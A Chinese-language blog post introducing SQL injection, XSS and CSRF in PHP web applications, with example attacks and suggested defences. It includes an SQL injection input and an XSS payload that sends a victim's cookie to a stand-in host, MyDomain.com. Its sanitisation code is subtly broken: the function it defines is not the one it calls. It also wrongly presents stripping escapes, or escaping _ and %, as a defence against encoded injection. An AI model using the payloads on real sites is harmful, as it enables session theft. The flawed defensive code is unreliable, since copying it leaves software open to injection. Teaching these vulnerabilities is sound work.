miketwais

互联网项目中安全问题日益得到重视,前期出现某公司泄露用户信息,记者又有网站被黑,甚至有窃取网银事件发生。

在常见的web系统中,最常见的几种安全问题有:SQL注入,XSS漏洞,CSRF攻击(跨站点请求伪造)。

 

1.SQL注入:SQL注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的SQL语句中了。黑客可以利用这一点执行SQL指令来达到自己目的。

  例如:  $sql = \'select * from user where id =\'.$id;

   这里用用户输入的变量$id来拼接SQL语句,存在安全隐患。如果$i = \'2 or 1=1\',这里就能轻松的获取到user表的仍意信息。利用SQL注入漏洞,我们能够获取想要的信息,同时可以通过猜测和报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。 

 解决方案:

  1.写一个ORM(Object Relational Mapping,实现面向对象编程语言里不同类型系统的数据之间的转换),这样可以避免直接拼接SQL 语句,少了不少麻烦而且能大大提高开发效率。

  2.如果非得写一些原生的SQL拼接语句,则我们必须对输入的那些变量进行优化过滤.

      a.如果查询的字段类型是数字等类型,在拼接SQL前先判断输入是不是一个合法的数字,不合法则终止程序即可。$id=intval($_GET[‘id’]);

      b.如果字段类型是字符串,则记得将输入里的的单引号进行转义。

       ps:关于php防止SQL注入对输入的特殊符号进行转义的相关知识:

           当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 \' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符,给SQL注入带来              不少的麻烦。但是利用改变注入语句的编码来绕过转义的方法,比如将SQL语句转成 ASCII编码(类似:char(100,58,92,108,111,99,97,108,104,111,115,116…)              这样的格式),或者转成 16进制编码,甚至还有其他形式的编码,这样以来,转义过滤便被绕过去了,这时候我们可以这样对经过转移的数据这样处理:

             

//去除转义字符
function stripslashes_array($array){
  if (is_array($array)) {   
    foreach ($array as $k => $v) {   
      $array[$k] = stripslashes_array($v);   
    }   
  } else if (is_string($array)) {   
    $array = stripslashes($array);   
  }
   return $array;    
}
$_POST = array_map(\'stripslashes_deep\', $_POST);

          或者在未开启magic_quotes_gpc 时:

          

$keywords = addslashes($keywords); 
$keywords = str_replace("_","\_",$keywords);//转义掉”_” 
$keywords = str_replace("%","\%",$keywords);//转义掉”%”

后两个str_replace替换转义目的是防止黑客转换SQL编码进行攻击。

 

2.XSS攻击:如果说SQL注入是直接在SQL里执行了用户输入,那XSS攻击是在HTML里代码执行了用户输入。相对SQL注入,XSS似乎更能引起人关注。几年前新浪微博被人利用XSS获取大量粉丝;3DM也曾经被植入script代码对另一个游戏网站进行了惨无人道的DDOS攻击。

 例子:一个文本框 <input type="text" name=\'keyname\' value="">

在页面上我输入了这样的代码:/><script>window.location.href=\'MyDomain.com?cookie=\' + document.cookie</script>;

这段代码获取到当前页面的cookie值,并将cookie值传递到另一个名为MyDomain.com的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。SS攻击也可以简单分为两种,一种是上述例子中利用url引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。

解决方案:

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

 

3.CSRF攻击(跨站点请求伪造):顾名思义,是伪造请求,冒充用户在站内的正常操作。

例子:

一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题&content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

解决方案:

      对这种问题我们一般的解决方法是:通过session token来实现保护。当客户端请求页面时,服务器会生成一个随机数Token,并且将Token放置到session当中,然后将Token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,Token会随着表单一起提交到服务器端。接收到请求后,服务器端会对Token值进行验证,判断是否和session中的Token值相等,若相等,则可以证明请求有效,不是伪造的。

ps:题外话,这里的session token机制也可用于注册或者cms文章添加等功能上,可以用来防止用户"重复提交",相比于上面的CSRF方案是这样的:服务器端第一次验证相同过后,会将涩session中的Token值更新下,若用户重复提交,第二次的验证判断将失败,因为用户提交的表单中的Token没变,但服务器端session中Token已经改变了。

 

分类:

技术点:

相关文章: